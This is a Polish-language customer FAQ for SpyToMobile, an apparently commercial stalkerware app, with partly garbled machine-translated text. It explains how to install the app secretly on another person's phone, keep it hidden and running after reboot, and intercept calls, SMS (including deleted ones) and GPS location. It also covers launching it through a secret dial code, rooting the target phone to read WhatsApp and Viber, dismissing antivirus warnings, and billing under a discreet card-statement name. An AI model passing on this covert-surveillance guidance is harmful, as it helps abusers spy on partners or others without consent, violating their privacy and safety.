FAQ

Jak rozpocząć śledzenie w telefonie komórkowym?
Zainstaluj aplikację SpyToMobile w telefonie komórkowym, który chcesz śledzić. Nie należy jej instalować w swoim telefonie. Można śledzić jedynie telefon, który ma zainstalowaną i działającą aplikację SpyToMobile.
Dane mojego konta nie są aktualizowane. Czy coś się stało?
  1. Upewnij się, że telefon komórkowy z zainstalowaną aplikacją SpyToMobile jest podłączany do Internetu przynajmniej okresowo, aby mógł przesyłać pobrane informacje. Pobrane dane są przesyłane na Pana/i konto drogą internetową. Połączenie z Internetem jest konieczne, aby pobrane dane móc przesłać na Pana/i konto.
  2. Proszę sprawdzić, czy aplikacja jest uruchomiona w telefonie komórkowym, który Pan/i śledzi.
Nie mam dostępu do swojego konta. Co należy zrobić?
Kliknij na Nie pamiętasz hasła? na SpyToMobile.com, aby przywrócić hasło. Instrukcje, jak odzyskać hasło, zostaną przesłane drogą Emailową. Jeżeli to nie zadziała, proszę się skontaktować z działem wsparcia technicznego pod adresem support@spytomobile.com
W jaki sposób można dodać numer telefonu, aby go śledzić?
Istnieje tylko jeden sposób dodania numeru telefonu. W telefonie komórkowym, który ma być śledzony, należy zainstalować aplikację SpyToMobile. Tylko w ten sposób aplikacja pobierze z telefonu wszystkie informacje i prześle je na Pana/i konto na SpyToMobile.com.
Nie otrzymałem/am żadnych nowych informacji z telefonu, który śledzę. W jaki sposób aktualizowane są informacje?
Upewnij się, że telefon komórkowy co pewien czas łączy się z Internetem, aby mógł przekazywać wymagane informacje. Proszę się również upewnić, że w telefonie działa funkcja backupu danych. Aby to zrobić, proszę otworzyć Ustawienia->Aplikacje->Uruchomione usługi. Jeśli nie ma backupu danych, należy zainstalować tę funkcję ze strony internetowej SpyToMobile.com/d i uruchomić aplikację. Proszę obejrzeć film na SpyToMobile.com. Informuje on, jak uruchomić aplikację.
Czy wyjęcie baterii wyłączy program?
Nie wyłączy. Jeśli aplikacja została poprawnie zainstalowana i działa prawidłowo, uruchomi się on automatycznie po włączeniu telefonu.
Wszystkie informacje są przechowywane w telefonie, aż zostaną przesłane na Pana/i, prawda?
Tak. Od momentu instalacji aplikacji w telefonie, wszystkie informacje są przesyłane na Pana/i konto.
Jak często telefon musi się łączyć z Internetem, aby pobierać zebrane dane?
Aplikacja pobiera wpływające i wychodzące informacje przez cały czas działania na telefonie. Nowo pobrane informacje będą przesyłane na Pana/i konto za każdym razem, gdy telefon komórkowy połączy się z Internetem. Aby przesłać nowe dane na Pana/i konto, telefon komórkowy powinien być podłączony do Internetu przynajmniej okresowo. Tylko użytkownik telefonu może zainicjować połączenie z Internetem.
Urządzenie GPS jest włączone, ale nadal nie widzę właściwej mapy. Jestem w Kalifornii, ale mapa pokazuje, że jestem w Niemczech.
Prawdopodobnie sygnał GPS jest słaby lub urządzenie znajduje się w budynku, który blokuje lub osłabia sygnał GPS. Kiedy telefon komórkowy otrzymuje silny sygnał, zapamięta jego położenie i prześle je na adres Pana/i konta. Ważne! GPS działa tylko wtedy, gdy ekran jest wyłączony, tak aby aplikacja pozostała ukryta.
Czy z mojego konta mogę zobaczyć usunięte wiadomości SMS i historię rozmów?
Przechwycone zostaną wszystkie wydarzenia, które miały miejsce po instalacji aplikacji, wszystkie połączenia i wiadomości (nawet te usunięte). Aplikkacja nie może pobrać danych usuniętych przed instalacją.
Chiałbym/chciałabym uzyskać całkowicie niewidoczną wersję Google Play. Gdzie mogę ją pobrać?
Pobierz ją i zainstaluj ze strony SpyToMobile.com/d. Następnie: Aby uruchomić aplikację, która została zainstalowana w telefonie z systemem Android 2.3, naciśnij przycisk 51 DIAL. W przypadku telefonu z aplikacją Android 4, najpierw proszę umieścić dane funkcji backupu danych na ekranie, jest on całkowicie szklisty, i nacisnąć na przycisk 51 DIAL, aby uruchomić aplikację.
W jaki sposób mogę dodać inne telefony do mojego konta?
Proszę zainstalować aplikację telefonach komórkowych, które chce Pan/i dodać, i wpisać adres Email połączony z kontem. Telefon komórkowy zostanie połączony z Pana/i kontem. Do danego konta można dodać maksymalnie 1 000 telefonów. Aplikację można pobrać z SpyToMobile.com/d
Nie pamiętam hasła. Co należy zrobić?
Zresetuj hasło tutaj.
Nie otrzymałem/am wiadomości Email, zawierającej hasło. Co należy zrobić?
Proszę sprawdzić folder spam i jeżeli w dalszym ciągu nie otrzyma Pan/i wiadomości Email, należy zmienić hasło tutaj i otrzyma Pan/i nowe.
Niektóre systemy antywirusowe traktują aplikację jak wirus. Co to oznacza?
Aplikacja została stworzona z wykorzystaniem najnowszych technologii, jest niewidzialna i pracuje cicho. Niektóre systemy antywirusowe mogą ją wykryć ze względu na technologie. Aplikacja nie zawiera wirusa. Jest wyposażona w inteligentne rozwiązanie, które umożliwia jest całkowite ukrycie.
Czy informacje są zbierane tylko wtedy, gdy telefon jest połączony z Internetem?
Aplikacja zbiera informacje z telefonu komórkowego bez względu na to czy jest, czy też nie jest podłączony do Internetu. Kiedy Internet jest dostępny, aplikacja prześle wszystkie zebrane dane na Pana/i konto.
Co zrobić, gdy aplikacja została usunięta z telefonu?
Należy ponownie zainstalować aplikację w telefonie komórkowym. Aplikacja gromadzi dane telefoniczne tylko po zainstalowaniu.
Co zobaczę na moim wyciągu z karty kredytowej? Nie chcę się narażać, korzystając z Państwa usług.
Na wyciągu z karty kredytowej zobaczy Pan/i "G2S-PhoneSupport"
Wiadomości WhatsApp lub Viber nie aktualizują.
Drodzy przyjaciele,
WhatsApp i Viber może przechwycić komunikaty telefonu tylko w przypadku tego telefonu otwartej administratora. Jeśli chcesz przeglądać wiadomości WhatsApp i Viber, proszę otworzyć superużytkownika na urządzeniu, dla których zamierza monitorować i zainstalować najnowszą wersję naszej aplikacji https://spytomobile.com/d
Jak otworzyć superuĹĽytkownika uprawnienia urządzenia?
Niestety, nie istnieje uniwersalne rozwiązanie, aby uzyskać uprawnienia roota na wszystkich rodzajach urządzeń. Większość z nich wymaga nieco inaczej metody i narzędzia. Ale prawie na pewno trzeba kabel USB PC z systemem Windows z zainstalowanymi sterownikami do telefonu i sam telefon z akumulatorem naładowanym do pełna. Proszę kliknąć na jeden z poniższych linków, aby zapoznać się z instrukcją i podejmują wszelkie niezbędne działania opisane w niniejszej instrukcji, aby uzyskać uprawnienia roota na urządzeniu:

Jak dostać superużytkownika(instrukcja 1)
Jak dostać superużytkownika(instrukcja 2)
Jak dostać superużytkownika(instrukcja 3)
Jak dostać superużytkownika dla Galaxy S5, Galaxy S4, Galaxy Note 3 i Nexus 5
Jak zainstalować SpyToMobile aplikację na telefon z super praw użytkownika?
Proszę na ten link Jak zainstalować SpyToMobile aplikację na telefon z super praw użytkownika